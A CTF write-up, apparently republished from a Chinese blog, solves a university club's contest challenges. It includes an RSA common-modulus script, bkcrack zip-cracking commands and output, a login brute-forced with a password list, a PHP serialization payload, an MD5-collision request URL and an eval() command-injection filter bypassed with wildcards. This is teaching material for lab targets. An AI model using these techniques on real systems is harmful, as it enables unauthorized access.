文章总结: 本文是齐鲁师范学院网络安全社团2025级校赛的解题报告,涵盖Crypto、Misc和Web三类题目。详细解析了Affine密码、RSA共模攻击、GIF帧提取、明文攻击、反序列化漏洞及MD5绕过等技术点,提供完整代码和操作步骤,对CTF参赛者具有实操参考价值。 综合评分: 81 文章分类: CTF,WEB安全,漏洞分析,实战经验,应用安全
齐鲁师范学院网络安全社团2025级第二次校赛 WriteUP
原创
小志z 小志z
志在片语
2026年4月12日 22:31 山东
在小说阅读器读本章
去阅读
这一次比赛禁止AI 不能用AI的我根本不会写脚本 Re和Pwn直接寄了 剩下的侥幸ak
Crypto
Affine
出题人: Camille 难度: 简单
银河中的智慧会帮助你揭开谜底
题目是说的银河 所以是银河字母
将密文解码出来大概是以下的形式
HURXREHSHNIHXURI
根据题目提示为Affine密码 将base64解密后得到a和b的值
再用仿射密码解密一下
拼接flag可以得到QLNUCTF{a_new_era_has_dawned}
Easy_Rsa
出题人: Camille 难度: 简单
不多说
这道题是RSA共模攻击
from Crypto.Util.number import long_to_bytesfrom gmpy2 import gmpy2
n = 105264465119825392930270074121640512414080601856155883822015757324007538189539606533449835377680756134498279412425583951618073447773969564119838117072693083034020041459171374649087604252784561860797248953931468997653718991863888529042762228719908173798022752915524761995087438171110499736790192741730648757013e1 = 65537e2 = 17c1 = 7762426765215220050207308755375681429229991310010906243953366767274715308639585428003818300312778958077467852911313292748305091182273555515598092752323863574075057919591320510654361867634028916993895458994735520673276142745120689132573003445818645866828964106930924421070592373074717182262964215821968638132c2 = 43966542847334009211385474563372505170806758926763748156802941100166035733810602321346239377467987870181474256465226598440604570526109882567946520089474248025554071431488069180252144800218664214625618038215721088549654598902771082779678313860579377658178077667829707876096837137917598108366277814449122513223
r,s1,s2 = gmpy2.gcdext(e1, e2)m = (pow(c1,s1,n)*pow(c2,s2,n)) % nprint(long_to_bytes(m))
getflag
真理
出题人: Camille 难度: 简单
永恒不变的唯一真理
打开是核心价值观编码 解码即可 然后从中找到对的格式 getflag
Misc
眼睛快瞎了
出题人: Duktig | 难度: 简单
这个 GIF 闪得太快了,我根本看不清上面写了什么!
这个题目提示的很到位 其实就是拆分gif
然后拼接一下
QLNUCTF{GIF_Frames_S0_Many}
超标的体重
出题人: Duktig 难度: 简单
这张图片看起来很普通,但它的“体重”似乎超标了。里面是不是藏了什么东西?
用zip打开图片 发现里面有个flag.txt 解压打开即可 getflag
伪装者的套娃
出题人: Duktig | 难度: 中等
这是一个被多重加密的压缩包,已知其中一个文件 readme.txt 的内容是全校学生都知道的校训。
这个是一个已知道明文攻击题 用bkcrack做 先解出来keys 然后我强制改了一下密码
PS C:\Users\Ambit\Desktop\bkcrack-1.8.1-win64> .\bkcrack.exe -C .\flag.zip -c readme.txt -p readme.txt -P readme.zipbkcrack 1.8.1 - 2025-10-25[16:36:42] Z reduction using 32 bytes of known plaintext100.0 % (32 / 32)[16:36:43] Attack on 257437 Z values at index 6Keys: 48ad034b 76220f1e eeef6a2c2.5 % (6517 / 257437)Found a solution. Stopping.You may resume the attack with the option: --continue-attack 6517[16:36:46] Keys48ad034b 76220f1e eeef6a2c
PS C:\Users\Ambit\Desktop\bkcrack-1.8.1-win64> ./bkcrack -C .\flag.zip -k 48ad034b 76220f1e eeef6a2c -U new.zip easypasswordbkcrack 1.8.1 - 2025-10-25[16:37:40] Writing unlocked archive new.zip with password "easypassword"100.0 % (2 / 2)Wrote unlocked archive.
解压后得到flag
Web
game
出题人: Ord1nary 难度: 简单
比赛打累了玩会小游戏放松一下吧
这个一开始是个登录框 yakit用top10000发包就行
用admin 密码abc123登录 直接在前端就能看见flag 没有后端校验
ez_unserialize
出题人: Ord1nary 难度: 简单
了解一下反序列化
之前真的不会 全是ai的 这一次手敲明白原理了
<?phpclass SimpleAuth{public $user = 'admin';public $pass = 'thi5_1s_s3cr3t';public function __wakeup(){}}$a = new SimpleAuth();print(serialize($a));?>
执行php 然后传参即可
md5开胃菜
出题人: Ord1nary 难度: 中等
<?phperror_reporting(0);highlight_file(__file__);include('next.php');if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) { if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) { if (isset($_POST['md5_3']) && md5($_POST['md5_3']) == '0') { echo $next; } else { echo "你以为只是简单的md5吗"; } } else { echo "这都不会了?"; }} else { echo "md5起手试一下吧";}
md5强比较 请求以下url 发送post md5_3=0e215962017
http://challenges.snige.cn:35798/?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
回显
进入lv2.php
<?phperror_reporting(0);highlight_file(__FILE__);$shell = $_POST['shell'];$cmd = $_GET['cmd'];if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){ die("Hacker!!!!!!!!");}eval($shell($cmd));
根据php传参 先用dir 列出目录 发现flag在根目录上
使用通配符进行绕过 getflag
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:志在片语 小志z 小志z《齐鲁师范学院网络安全社团2025级第二次校赛 WriteUP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论